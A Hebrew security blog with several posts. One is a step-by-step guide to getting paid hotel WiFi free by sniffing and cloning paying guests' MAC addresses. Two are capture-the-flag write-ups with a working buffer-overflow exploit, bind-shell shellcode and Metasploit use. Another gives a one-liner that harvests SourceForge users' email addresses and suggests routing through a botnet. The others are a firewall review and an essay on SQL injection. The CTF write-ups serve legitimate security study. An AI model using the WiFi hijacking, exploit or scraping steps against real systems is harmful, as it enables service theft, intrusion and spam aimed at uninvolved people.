BinaryVision

Tag: פריצה

גלישה חינם בבתי מלון

by on אוג.16, 2010, under כללי

אחרי 7 בתי מלון ב- 11 יום החלטתי לפרסם כמה טיפים למטיילים בעולם. המלצה חמה בבריטניה למלונות הרשת Ramada, גם מאוד נחמדים וגם אינטרנט חינם.

במקומות אחרים נתקלתי במערכות ניהול וגביה, הנפוצה מביניהם נקראת spectrum. לדעתי 6 פאונד לשעת גלישה זה מוגזם, לכן הנה מספר טיפים כיצד לחלוק את החשבון עם משתמשים אחרים.

הרעיון בגדול הוא, למצוא מישהו ששילם (בעיקר ע"י ניסוי וטעייה או ניחושים מושכלים) ולהשתמש בזיהוי כרטיס הרשת שלו. להחליף כתובת mac ב- Windows זה סיפור מהתחת, לא תמיד אפשרי, במיוחד בעדכונים האחרונים של הדויורים וגם הדרך משתנה מכרטיס לכרטיס. מה שכן, Windows שימושי בשלב ראשוני מאוד עם התוכנה Cain, שמאפשרת לסרוק את ה subnet ולמצוא משתמשים פעילים ברשת (ip, mac וייצרן בקובץ hosts.lst). ההבדל המהותי הוא שב- arp -a למשל, לא רואים שום דבר חוץ מה- default gateway, כש- cain מייצר מפה שימושית מאוד אותה אני ממליץ לקחת ל ubuntu לשלבים הבאים של התהליך.

למי שלא מצא מספיק אנשים, או שלא רוצה לעבור ל windows, השיטה השנייה, היותר איטית אבל בהחלט יותר מדויקת (ונסתרת) היא להסתכל מי מדבר עם ה AP באוויר, וכך למצוא כתובות של קליינטים. אני ממליץ על שילוב של aircrack-ng עם wireshark. קודם נפתח ממשק למוניטור (נניח שהתחנות שמעניינות אותנו על ערוץ מס' 6 והכרטיס הוא wlan0) הפקודה היא: airmon-ng start wlan0 6 (מפסיקים עם airmon-ng stop mon0).

להבדיל מ- Windows, ב Ubuntu קיבלתי תמיכה מלאה בשינוי מאק ו injection ב aircrack ישר מהקופסה כמו שאומרים. אחרי שפתחתי ממשק mon0, פתחתי wireshark (מ root) והתחלתי לתפוס תעבורה מ mon0. עשיתי סינון לא לרשום broadcasts וכו'. הלוג עצמו שימושי, אבל יותר פשוט ללכת ל statistics ולבחור wlan. שם, רואים את כל התחנות ואת הקליינטים שמדברים איתן, וכמות המידע שעוברת בניהם. מכאן גם אפשר לקבל רשימה של כתובות mac ויצרנים.

עכשיו שיש רשימת יצרנים (אני תמיד ממליץ להתחיל מ apple, בדר"כ אנשים עם יותר כסף משכל), אפשר להתחיל לנסות להתחבר. בשביל לשנות mac צריך לנתק לרגע את ה network (קליק ימני על האייקון באובונטו Disable Network), ואז מתוך root, נשנה את ה mac שלנו ככה: ifconfig wlan0 hw ether aa:aa:aa:aa:aa:aa אפשר גם בלי הנקודתיים. כמובן שבסוף נעשה שוב קליק ימני ונדליק את ה network. השינוי הוא שינוי זמני ולא נשמר אחרי Restart.

אחלה, התחברנו לרשת עם mac של מישהו אחר, עכשיו בוא נבדוק אם יש לנו אינטרנט נקי ע"ש השירות של מיקרוסופט או אקמאי, אם אין redirection האינטרנט מוכן, אם לא, מנסים mac אחר.

wget -O /dev/null http://www.msftncsi.com/ncsi.txt

wget -O /dev/null http://whatismyip.akamai.com

נגמרו הכתובות או הסבלנות? עוד קצת sniffing, אולי על ערוץ אחר יכול להוביל לתוצאה יותר חיובית.

אם המחשב המקורי עדיין מחובר יהיה קצת חורים שחורים בגלישה. בדר"כ רשתות כאלה משדרות יותר מ AP אחד (למשל spectrum, wifizone) ולמרות שזו אותה רשת, ברמת ה AP זה לא, לכן אפשר להתחבר פשוט לרשת השנייה (המשתמש המקורי מתחבר לאחת, אתם מתחברים לשניה) ואז כולם שמחים.

ברגע שמתרגלים: התהליך לוקח פחות מ- 5 דקות. זהו, תהנו מחופשה עם אינטרנט on the house.

עדכון: למרות שלא יצא לי לבדוק בתנאי אמת, הנה תחליף לסריקת ה- arp עם cain:

nmap -sP -PR 10.1.0.1-255

16 Comments :, , , , , more...

אתגר Hacking של Offensive Security – שלב שני

by on יול.06, 2010, under כללי

מה היה לנו

  • קיבלתי Root על 192.168.6.200
  • מצאתי עליו קובץ mosquito.exe

http://www.filesonic.com/file/2125504394/mosquito.exe
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.

mosquito

בוא ננחש מה עושה הקובץ לפי הImports שלו.

Mosquito Imports

משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.

nc -nvv 127.0.0.1 4597

קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080…. מאיפה זה בא??
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.

nc -nvvLp 1080

מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה…
שולח קצת טקסט, לא קורה כלום…..
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?
נבדק בצורה פשוטה ע"י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.

צוללים לקוד

פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.
מריץ Netcat מקומי מאזין על 1080.
פותח ollydbg, מציב breakpoint על הRecv.
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:

  • כל חבילה שמתקבלת עוברת איזה "הצפנה" פשוטה… XOR עם הערך 4.
  • נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
  • המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080

אז מה עכשיו

  • חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.

לא מצאתי חולשות רגילות של Buffer Overflow

  • אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.

נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב "bRAin suck3r".
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.

  • רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?

בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל "מוצפן" בNetcat המתחבר.

  • אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?

מה רץ בדרך כלל על 1080? HTTP…
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.
קיבלתי הרבה הרבה זבל חזרה.
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.

  • אז הדבר הזה הוא פרוקסי לשרת WEB

כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.
הסקריפט:

#!/usr/bin/python
#
import socket
import sys
import thread

def tunnel_data(sock1,sock2):
	try:
		data = sock1.recv(0xffff)
		while data:
			ndata = ""
			for i in data:
				ndata += chr(ord(i) ^ 4)
			sock2.sendall(ndata)
			data = sock1.recv(0xffff)
		sock2.close()
	except Exception,e:
		print e
		sock1.close()
		sock2.close()

def main(ip,lport):
	global MSG
	lsock = socket.socket()
	lsock.bind(("0.0.0.0",lport))
	lsock.listen(1)
	while True:
		cli = lsock.accept()[0]
		rsock = socket.socket()
		rsock.connect((ip,4597))
		thread.start_new_thread(tunnel_data,(cli,rsock))
		thread.start_new_thread(tunnel_data,(rsock,cli))

main(sys.argv[1],long(sys.argv[2]))

האתר

נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.

Easy Chat Server

התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:
http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username

פריצה מעל פרוקסי מצפין

הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!
קיבלתי Shell על השרת 192.168.6.141.
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.
וGetSystem של Meterpreter לא עזר.
מערכת ההפעלה היא Windows 2003 SP2.

נסיונות לעלות הרשאות

ציינתי כבר שכל 30 דקות המכונות עוברות Revert?
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.
דברים שניסיתי:

  • מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
  • מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
  • חיפוש קבצים זרוקים במערכת שיש לי גישה "בטעות" אליהם ויש שם סיסמה או משהו שיעזור

אתם מוזמנים להציע עוד דרכים…
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם….

8 Comments :, , , , , more...

אתגר Hacking של Offensive Security – שלב ראשון

by on יונ.26, 2010, under כללי

קצת על האתגר

האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:

  • תוך 48 שעות, לפרוץ 5 מחשבים
  • להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
  • ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
  • כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
  • כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.

קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.

סריקה ראשונית

מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.

  • 200 – פתוח פורט 80
  • 141 – פתוח פורט 80 וכמה פורטים של SIP
  • 115 – פתוח שרת SQL
  • 140 – פורט 80 פתוח וכמה שהם filtered
  • 150 – ענה לי פעם על פורט כלשהו ונעלם

מעבר מהיר על המחשבים

  • 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
  • 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
  • 115 – שרת SQL שאין לי משתמש אליו
  • 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
  • 150 – לא התעסקתי איתו

הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.

Vuln

בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://www.filesonic.com/file/2125504824/vuln.rar
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:

#define LISTENPORT 7500
...
//now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&my_addr, ...)){
    perror("bind");
    exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
    perror("listen");
    exit(1);
  }

הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:

char reply[1024];
...
    recv(conn, reply, 1024, 0);
    handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("Your message is \"%s\"\n",response);
return 0;
}

התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:

int jmp(void){
 __asm__("jmp %esp");
 return 0;
}

הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.

ניצול חולשה

שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0x41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:

#!/usr/bin/python
#
# exploit.py <ip> <port>
#
#

import socket
import sys
import time
import struct

JMP_ESP_ADDR = 0x0804866A

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

def main(ip,port):
	global SHELLCODE
	global JMP_ESP_ADDR
	so = socket.socket()
	so.connect((ip,7500))
	greet = so.recv(1024)
	SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:]
	buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE
	so.sendall(buff)
	time.sleep(5)
	so.close()
	
main(sys.argv[1],long(sys.argv[2]))

מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.

מה יש בשרת

נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! 🙂
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!

בפוסט הבא

מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??

14 Comments :, , , , , more...

אבטחה נמצאת בפרטים הקטנים

by on ינו.31, 2010, under כללי

הפוסט של היום לא עוסק בהקשחת שרת או בתכנות נכון והגנתי, אלא בדבר חשוב יותר משניהם, תכנון.
נתקלתי לאחרונה ב"פרצה" די מבדרת. הפרצה אומנם לא מאפשרת לי להשתלט על שרת, או אפילו לפגוע במשתמשים, אבל היא בהחלט מאפשרת גישה לדבר ששווה כסף, או לפחות יכול להיות מעצבן: כתובות אימייל של קבוצה ממוקדת נושא, במקרה הזה, אנשי טכנולוגיה.
למי שלא מכיר, האתר sourceforge הוא האתר הכי גדול (או לפחות אחד מההכי גדולים) לפרוייקטים קוד פתוח. באתר יש כ 2 מיליון משתמשים רשומים וכ 230,000 פרוייקטים. בנוסף, ישנם Mailing lists לכל הפרוייקטים, ובזה נתמקד.

נסתכל לדוגמה ברשימת התפוצה של Firebird. נניח ונרצה את כל הכתובות של החברים ברשימת התפוצה של Firebird, נפנה לארכיון המיילים של Firebird, אך נתקל בבעיה, sourceforge חכמים מספיק בשביל לא לפרסם את המיילים של כולם באינטרנט כצאן לטבח. למזלם של הספאמרים, sourceforge לא תיכננו עד הסוף, ולמען האמת הם מספקים דרך מאוד פשוטה (ברוב המקרים) לגלות מה הכתובת המלאה של השולח. יש לציין ששיטה זו לא עובדת תמיד, אלא "רק" ברוב הכמעט מוחלט של המקרים.

נתבונן רגע לעומק במעמקי ה"קוד" של העמוד, נתבונן לדוגמה בלינק שנתתי קודם מארכיון המיילים של Firebird: נבחר את המייל השלישי, זה נשלח ע"י "Adriano dos Santos Fernandes <adrianosf@gm…>". אנחנו רואים שהכתובת שלו מתחילה ב gm, (הערה: כולם משתמשים כיום ב gmail ככה שלא קשה לנחש שהכתובת האמיתית שלו היא gmail.com, למרות שהיא לא הייתה חייבת להיות, וזה יעבוד כמובן גם על כתובות של שרתי מייל שאנחנו לא מכירים) אבל אם נסתכל לעומק בלינק שמקשר לפוסט (בעמודה topic), נראה שם משהו מעניין, לדוגמה, במקרה שלנו, הלינק הוא:
http://sourceforge.net/mailarchive/forum.php?thread_name=4B65B1DC.5020407%40gmail.com&forum_name=firebird-devel
הפלא ופלא, השדה thread_name מסתיים ב gmail.com, מכך נסיק ששרת המייל ששלח את המייל הוא gmail.com ולכן הכתובת היא adrianosf ~-at-~ gmail.com.
נסתכל בשורה הבאה, מייל מאת Alexander Peshkoff <peshkoff@ma…>, אם נסתכל בלינק בעמודה topic, (לינק: http://sourceforge.net/mailarchive/forum.php?thread_name=201001311914.57707.peshkoff%40mail.ru&forum_name=firebird-devel) נראה שאותו שדה מסתיים הפעם ב @mail.ru, והרי זה לא מפתיע שזה מתאים לאימייל שלו שמתחיל ב: peshkoff@ma ולכן האימייל המלא שלו הוא peskoff ~-at-~ mail.ru.

החדים מביניכם בטח שמו לב שבמקרה השני, הלינק הכיל את כל הכתובת, ובמקרה הראשון לא. זה מתחבר לממה שאמרתי קודם, השדה הזה לא עקבי מספיק, (או לפחות לא מצאתי את החוקיות), ולכן זה לא עובד ב 100% מהמקרים, אבל ברוב המקרים שבדקתי, השדה הזה אכן מסתיים בשרת האיימייל ששלח את המייל, גם אם זה לא בהכרח השרת שיקבל את המיילים, זה בהחלט יכול לעזור. לדוגמה, לפעמים ב gmail הסיומת של השדה הזה תיהיה mail.google.com, אמנם אי אפשר לשלוח מייל ל adrianosf@mail.google.com (מהדוגמה הקודמת), אבל אפשר בהחלט לתרגם את זה בצורה קלה (הרי אם זה נפוץ מספיק אז אפשר לתרגם ידנית ובקלות להחליף את כל השדות).
זה גם מאוד פשוט לגנוב את המיילים האלה, לדוגמה, השורה הפשוטה הבאה שמתמשת ב wget וב sed (אמנם לא הכי נקי שאפשר, אבל החלט עושה את העבודה):

wget -q -O - http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel | sed -n -e 's/^.*<td width="50%"><a href="[^&]*%40\([^&]*\)[^"]*".*$/@\1/p' -e s'/^.*&lt;\([^&]*\)...&gt;.*/\1/p'

לוקחת עמוד ומחלצת ממנו את כל השרתים בשורה אחת (מתחילים ב @), ואת המייל (עד הקטע המצונזר) בשורה אחריה. להוסיף את התוצאות לdb פשוט (לדוגמה sqlite), ולכתוב סקריפט פרל קצר שיעבור בכל העמודים של כל ה ML ב sourceforge ויריץ עליהם את הסינון sed הזה, גם לא לוקח הרבה זמן. בקיצור, אנחנו יכולים, בקלות יחסית (עדיין צריך לזכור לא להציף את sourceforge ולהשתמש בפרוקסי\בוטנט) לקחת את כתובות האימייל של 2 מיליון אנשים טכנלוגיים (אולי יותר אולי פחות) ולהשתמש בהם בפרסום ממוקד באינטרנט.

כמובן שמתכנתים פחות טיפשים מהאדם הממוצע, ולכן מספר ה"קניות" פר מיילים תהיה נמוכה בהרבה מאשר ספאם ממוצע, אבל עדיין, מדובר פה בפרסום לקבוצה מאוד ממוקדת ועל 2 מליון כתובות.
בנוסף, הפוסט הזה לא עוסק בהשגת כתובות אימיילם בשביל ספאם, אלא בעובדה שהם כביכול ניסו להגן משליחת ספאם למשתמשים שלהם, אבל בעצם חשפו את האימייל שלהם בצורה עקיפה. כל זה יכל להפתר אם הם היו מתכננים מראש, וחושבים פעמיים לפני שהם שמים את שם השרת ששלח את המייל גלוי לכל. אמנם במקרה הזה, הנזק לא גדול, אבל זה מדהים איך אתר כזה גדול מרשה למידע לזלוג בכזו קלות, או בקיצור, לדעתי זו "פרצה" נחמדה.

1 Comment :, , , more...

המלצה על מוצר Firewall בייתי

by on ינו.20, 2010, under כללי

מזמן לא יצא לי לראות מה חדש בעולם תוכנות ה- Firewall, אז כמה אנשים המליצו לי על האתר הזה שנראה די לגיטימי, יש להם מתודולוגיה, פרמטרים לבדיקה, וציונים. החלטתי לתת סיבוב ל- 2 המוצרים שקיבלו את הציונים הכי גבוהים ב Review שלהם.

PC Tools Firewall Plus 6.0.0.88 ו- Comodo Internet Security 3.13, שניהם מוצרים חינמיים אז אין בעיה להוריד ולבדוק. Online Armor Premium קיבל ציון 99% אבל הוא לא נתמך ב64 ביט, אז אין לי מה לבדוק אותו.

התחלתי מ PC Tools, הלוגו הזכיר לי מאיפה אני מכיר את החברה: הם עשו קופה בזמנו עם מוצרי ה Anti-Spyware, ותיקוני ה- Registry. אחרי שהתקנתי את המוצר הוא שאל אותי אם אני סומך על Google Talk ו mIRC, הסיבה שהוא התפל דווקא עליהם היא שהתוכנות לא חתומות, שזה סבבה כל עוד מי שרוצה לפרוץ אליך לא מוכן לבזבז 1000 דולר על חתימה. ניסיתי להריץ netcat ועוד כמה תוכנות אינטרנט לא חתומות, ולהפתעתי זה עבד. מוזר, אין שום שאלות מהתוכנה. ניסיתי להריץ shell של vnc connect back, גם עובד. מדאיג.

או קיי, אז אולי הוא ברמה של Windows Firewall חשבתי לעצמי, הוא בטח יקפוץ אם התוכנה תעשה listen ל 0.0.0.0, אבל מסתבר שממש לא. בניתי קוד חדש לבדיקה, לא חתום ולא כלום, דחפתי אותו בכוונה ל Startup ב Registry רק כדי לראות אולי PC Tools יבין את הרמז, אבל הרמז לא נקלט. כנראה שאני קורא את התוצאות הפוך, בטח באתר התכוונו ל- "100%" פריץ.

טוב, נמשיך עם Comodo, גם הוא קיבל ציון 100, וגם הוא חינמי.

ההתקנה שלו די גדולה, ומתחילה מ WinZip SFX, משהו שלא ראיתי משנת 1999 אז כשהסרט מאטריקס הראשון יצא. אחרי זה ההתקנה רצתה לדחוף לי 3 toolbars, ורצתה להחליף לי שרתי DNS.

אחרי ההתקנה, comodo התחיל לשאול שאלות, רובן מפגרות, כמו האם מותר לגעת לתהליך מערכת בג'יסטרי, בלי להגיד לי מה התהליך או מה ברג'יסטרי. אחרי משהו כמו 50 שאלות מתוכן 48 שבאמת לא היה צריך לשאול, הוא התחיל לעבוד. הוא בהחלט שם לב ל- VNC ולקוד שבניתי.

מה שפחות טוב, מסתבר שההמלצות ש- comodo נותן מבוססות על מה שאנשים אחרים לוחצים, למשל, התוכנה אמרה לי ש 95% מהאנשים שהריצו את הסוס הטרויאני חשבו שהתוכנה בטוחה. כמובן שמי שיודע לקבל החלטות כאלה בעצמו אכן הרוויח כלי די חזק לפחות מהכמה דקות שיצא לי לעבוד איתו.

לא יצא לי לבדוק שיטות מתקדמות על ה Firewall עדיין, אני אעדכן את הטקסט כשיצא לי. ראיתי גם עוד שמות של תוכנות מוכרות כמו Outpost ו Kaspersky שהיו לי בעבר, נכון לעכשיו ההמלצה שלי למי שמחפש משהו שייתן רמה סבירה של הגנה – שילך על Comodo.

11 Comments :, , more...

למה מתייחסים לSQL שונה?!

by on יול.14, 2009, under כללי

הקדמה
קיימים הרבה מאוד סוגים של פרצות אבטחה, לדוגמא XSS, אני יכול להבין למה XSS קורה, הרי לפעמים יש מקרי קצה שבהם רוצים לתת למתכנת יכול לכתוב html, או לחלופין, קשה לבקר (לא באמת, אבל נניח) כל כתיבה שאנחנו מבצעים ולכן אפשר לפספס ובטעות לכתוב מחרוזת ששכחנו לעשות לה escaping.
אותו דבר אני יכול להגיד על buffer overflow (גם לא באמת, אבל נניח) וישנן עוד הרבה פרצות שעליהן אפשר להגיד אותו דבר (לפעמים המצב עגום יותר ולפעמים פחות).
אבל במקרה של sql injection אני פשוט לא מבין איך זה עדיין קיים. אבל לא על זה מדובר בכתבה, אלא על הבעיתיות והקלת הראש שאנשים מייחסים לשרת sql שלהם.

תיאור הבעיה הנפוצה
כידוע Sql injection קורה כאשר המשתמש מצליח להשפיע על המחרוזת המכילה את השאילתא שאנחנו מריצים על ה db כך שהשאילתא תבצע פעולה שלא רצינו שתקרה.
אוקיי, זו פרצה נחמדה, טריק מגניב, רעיון יפה, אבל למה זה עדיין קורה? הרי יש שתי פתרונות מאוד פשוטים למניעת הבעיה!

פתרונות נפוצים
1. לעטוף את פונקציות אחזור המידע מהמשתמש, לדוגמא את הקריאה של ערכי ה get או ה post בפונקציית עזר שעושה escaping (כמובן שצריך טיפול שגם לוודא שמדובר במספר ולא בטקסט כאשר מעבירים פרמטר נומרי, אבל גם זה פתיר בצורה דומה) ולא לתת לאף מפתח באתר להשתמש בדרך השניה. האם זה באמת כ"כ קשה? אני חושב שלא.

2. להשתמש בפונקציות מיוחדות בשפה (אם קיימות במקרה המדובר) אשר נותנות לעביר כפרמטרים את הנתונים שמתקבלים מהמשתמש וככה הבאג הזה בכלל לא קיים, כי מתייחסים לזה בתור אובייקט ולא מחרוזת משורשרת, לדוגמא sqlite ב python מאפשר את זה בקלות.

אז איך זה שאנשים עדיין לא עושים את זה? מעבר לבינתי.

הבעיה האמיתית ופתרון בשבילה
הפתרונות שהצגתי כמובן נפוצים ומשתמשים בהם בכל מיני מקומות, והם הדרך לטיפול בבעיה, אבל לא מעט פעמים נתקלים בכל זאת בפרצות. אבל זה בהחלט לא מספיק!
הבעיה האמיתית היא, איך בכלל הגענו למצב שבו כל מה שאנחנו צריכים זה לקרוא מידע מ"טבלאת הידיעות של האתר" ובכל זאת יש לנו הרשאות כתיבה\קריאה ל\מטבלאת המשתמשים?
